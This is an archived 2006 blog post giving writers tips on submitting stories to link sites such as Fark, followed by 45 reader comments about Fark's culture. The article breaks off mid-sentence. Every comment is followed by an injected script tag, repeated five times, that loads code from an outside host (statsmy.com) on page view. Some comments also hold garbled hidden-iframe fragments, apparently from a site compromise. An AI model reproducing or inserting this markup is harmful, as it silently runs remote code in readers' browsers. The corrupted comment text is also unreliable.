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A Creative Writer's Guide To The Internet, Part 1
by Mark on 3/2/2006 (45)

Don't forget the Hennessy!
Do you have your own web page and love to write, but can't find anyone to read your writing? Maybe we can help. In this mini-series, Smooth Op offers some quick tips for instant big hits!

Part 1 deals with the so called "hot links" pages so popular on the web nowadays. What is a hot links page? A hot links page allows registered users to submit links to stories they find appealing, that are subsequently reviewed by site moderators, and if you are good enough, or lucky enough to get posted, or "green lighted", your material will be displayed on a rolling blog on the site's main page.

Here are some of the best and brightest hot links pages on the web that we have discovered, and have found very successful in promoting our material. When you write a story, register on the the hot links page, and submit it. You can check to see if it gets green lighted in a few hours, typically, and if you do get on, watch the big hits roll in! Hoot!


http://www.fark.com King Fark rules the web. The brainchild of Drew Curtis, Fark is the absolute toughest to get green lighted on with original material, as the Fark community, known as "Farkers" are demanding and demeaning at their very best, although they do seem to appreciate a really, really well written piece. If you are fortunate to get the green light, watch the hits roll in! From 8,000-60,000, depending on the subject.

Big Rule: Title is everything. Create a snappy, compelling, concise title for your submissions, and you greatly improve your chances. Write stories that appeal to everyone at a cerebral level for Fark. Farkers fancy themselves the cream of the hot links community. One big tip: Do NOT submit your entries as "Satire" under the submission tags. Farkers have utter disdain for satire for some reason. Use "Cool" or "Amusing". It increases your green light chances dramatically. Bad kitty!

http://www.wellplayed.net A newcomer to hot links land, Wellplayed shows all the signs of running with the big boys, due to an eclectic mix of tasteful material and outstanding web design and page layout. If any hot links page shows signs of dealing donuts with Drew Curtis' Fark, Kris Steele's Wellplayed is as good a bet as any. The yield? 1000-4000 hits.

http://www.alldumb.com Another hot links powerhouse, Alldumb has a finely tuned main page and graphics layout to make any web master green with envy. Strongly erotic in flavor at times, Alldumb accepts video clips, stories and pics, and sound files. If you are lucky enough to get on Alldumb, expect 5000-15,000 hits. Nice.

http://www.attu.blogspot.com An exotic, highly erotic adult blog with a tasteful soft porn theme, Attu is sheer beauty in its simplicity and creative originality. If you have an erotic bent in writing, Attu has interest, and they also appreciate well scripted stories of general interest too. One complaint: It's hard to find the submission link. Email them to attuseesall@gmail.com, subject "link tip". The hit count? Expect 1000-3000 hits.

http://www.b2.is Iceland? Yes, Iceland! For some odd reason, B2 has been very kind to our more whimsical material, and the page is scripted in Icelandic, not English. I would guess there are plenty of bilingual people up there, based on our


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Comments

1. by Kris on 3/1/2007 4:52:29 PM
That's so true about Fark and satire... look down their list of stories, you almost never see satire and if you do, it's getting crushed in the comments section. Unless of course you write for the Onion.< </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
2. by Motz on 3/1/2007 4:52:29 PM
I'm not entirely sure why that is, but I think Farkers are techies, and have disdain for fiction. They prefer facts, or they're just being dicks. Unsure. </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
3. by Kris on 3/1/2007 4:52:29 PM
I think there are a lot of people on Fark that are just looking to rip into something. It's a lot easier to rip a work of fiction than a true story... like you said, a true story is facts and you can't argue with thatone"></ </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
4. by Motz on 3/1/2007 4:52:29 PM
Yeah, God forbid you say or do something original or creative, yeah...Fark you, yeah.n </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
5. by Farkit on 3/1/2007 4:52:29 PM
This article has been greenlit on Fark: http://forums.fark.com/cgi/fark/comments.pl?IDLink=1942176< </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
6. by Motz on 3/1/2007 4:52:29 PM
Thanks Farker. I wrote it for you weenies anyhoo. Hoot!?sid= </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
7. by albo on 3/1/2007 4:52:29 PM
<i>They prefer facts, or they're just being dicks.</i> the biggest dicks on the Intarweb, they are. think they're so big...ispla </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
8. by CtrlAltDelete on 3/1/2007 4:52:29 PM
I hate Farkers. Every last one of them is all "Oooo! Look at me!! I'm a FARKER!! I wear nice clothes and feed my dog leftovers!! Ooooo!!!" Bastards.h="0" </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
9. by Farky on 3/1/2007 4:52:29 PM
Don't forget our underwear with the elastic bands that fit. You're just jealous.u </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
10. by Who on 3/1/2007 4:52:29 PM
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11. by Motz on 3/1/2007 4:52:29 PM
Heh, you guys. Fact is, Drew posted 16 of my original stories on Fark, for which I am very greatfull. Overall, Fark generated about 350,000 hits for my dopey stuff. Big time.n.ru/t </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
12. by NashBridges on 3/1/2007 4:52:29 PM
Farkers blow! Everytime I'm over there they're like "Shut UP Liter!" and they are all like "We're so much better than you are" and then I'm all like "FARK YOU TOO!" and then they ban me for a day. A**holes. </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
13. by Kris on 3/1/2007 4:52:29 PM
Maybe it was greenlit... doesn't appear to be anymore :(?sid </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
14. by on 3/1/2007 4:52:29 PM
<i>Maybe it was greenlit... doesn't appear to be anymore </i> oh it's coming. like a chuck norris roundhouse kick to your dinky server"0" st </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
15. by Crackhead Ben on 3/1/2007 4:52:29 PM
I got kicked off Fark for 15 minutes for commenting in the greenlighted thread for this article. And to comment #12, yes, paying 5 bucks a month does make TFers better then you.n.r </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
16. by Kris on 3/1/2007 4:52:29 PM
Dinky server? This server just happens to be the biggest server they made in 1984! There is nothing dinky about itone"> </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
17. by Motz on 3/1/2007 4:52:29 PM
It was greenlit on totalfark, not main page. I think.?sid=1" </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
18. by Kris on 3/1/2007 4:52:29 PM
I didn't realize Fark queued this stuff... I guess it makes sense to do so... they've got so many links on there, if you gave out links as soon as they came in, it'd be a massive flood. Gives me a chance to grab some popcorn and get ready to watch the server smoke :)?si </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
19. by Kris on 3/1/2007 4:52:29 PM
Everything you submit goes on TotallyFark... doesn't have to be greenlit... soon as you submit, it's there. Apparently when an article gets approved, it gets queued until it's ready to be displayed. At least, that's what I gather from this."0" s </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
20. by Motz on 3/1/2007 4:52:29 PM
Correction. It got greenlit, goes up at 3:52...yeah! thanks Drew!g </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
21. by Kris on 3/1/2007 4:52:29 PM
Batten down the hatches, clear the decks, tie down those sails... a storm is a brew'n and her name is sweet lady Farkon </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
22. by Motz on 3/1/2007 4:52:29 PM
Yerp. You really need to upgrade our Brinkster account from the El Sigundo package to the El Producto. 1MB of bandwidth a year ain't makin' it. Damn cheapskate. *schnort*g </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
23. by albo on 3/1/2007 4:52:29 PM
don't be too excited, dudes (or dudesses). if this link only goes to a main page tab, the deluge might be modestisplay:none"></i </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
24. by CtrlAltDelete on 3/1/2007 4:52:29 PM
Who wants to start a "Farkers Clicked On This Article _____ Times" betting pool?u </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
25. by Kris on 3/1/2007 4:52:29 PM
It'll pull in some decent traffic I'm sure... not 'Britney Spears and Angelina Jolie Lesbian Orgy Pictures' but some decent traffic. All these comments are way fun though, weee!n.r </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
26. by Motz on 3/1/2007 4:52:29 PM
Make that 17 of my stories on Fark. Top THAT Walt Whitman!?s </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
27. by Kris on 3/1/2007 4:52:29 PM
Fark says i have four... what four, I don't know. I only know of two for sure, which is strange since EVERYTHING i write is solid gold, just like the eggs my hen lays.go.p </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
28. by Kris on 3/1/2007 4:52:29 PM
I'll play your twisted game... Farkers Clicked On This Article 6,431 Timesn </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
29. by albo on 3/1/2007 4:52:29 PM
my guess is you'll get the Fark publicity tab and you'll top out at 700. what will i win? a date with your sisters?isplay:none"> </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
30. by Motz on 3/1/2007 4:52:29 PM
I think he's right. We got the tab. That's a first. ????sid= </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
31. by Kris on 3/1/2007 4:52:29 PM
Not the publicity tab... anything but that publicity tab...? </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
32. by CtrlAltDelete on 3/1/2007 4:52:29 PM
um....one"></i </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
33. by albo on 3/1/2007 4:52:29 PM
you got the publicity tab. put on an overcoat and get out a flashlight. it's cold and lonely there< </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
34. by CtrlAltDelete on 3/1/2007 4:52:29 PM
It's like having someone land on Marvin Gardens. Even if you have a hotel, you're not going to be very happyone"></ifra </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
35. by Kris on 3/1/2007 4:52:29 PM
I fucking hate Marvin Gardens!"0" s </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
36. by Katy on 3/1/2007 4:52:29 PM
The yellow monopoly looks so cheerful and bright...only when you own it do you realize how much it truly sucks..one"></ </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
37. by me on 3/1/2007 4:52:29 PM
took ya' long enough, other me. I have your profile pic as a screensaver, btw. heh...n </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
38. by other me on 3/1/2007 4:52:29 PM
I miss chatting with ya, me"0" styl </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
39. by me on 3/1/2007 4:52:29 PM
I know. I don't know what to do. i need you. At least a little. Heh..n.ru/t </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
40. by other me on 3/1/2007 4:52:29 PM
So send me a message sometime, silly! </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
41. by Me on 3/1/2007 4:52:29 PM
Alright. Buzz me first. </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
42. by other me on 3/1/2007 4:52:29 PM
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43. by Me on 3/1/2007 4:52:29 PM
are you still sm_89, or is it s_m_89? Unsureh="0 </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
44. by other me on 3/1/2007 4:52:29 PM
sm89. no underscores.is </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
45. by Sofia on 3/1/2007 4:52:29 PM
Man who fish in other man's well often catch crabs. </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>


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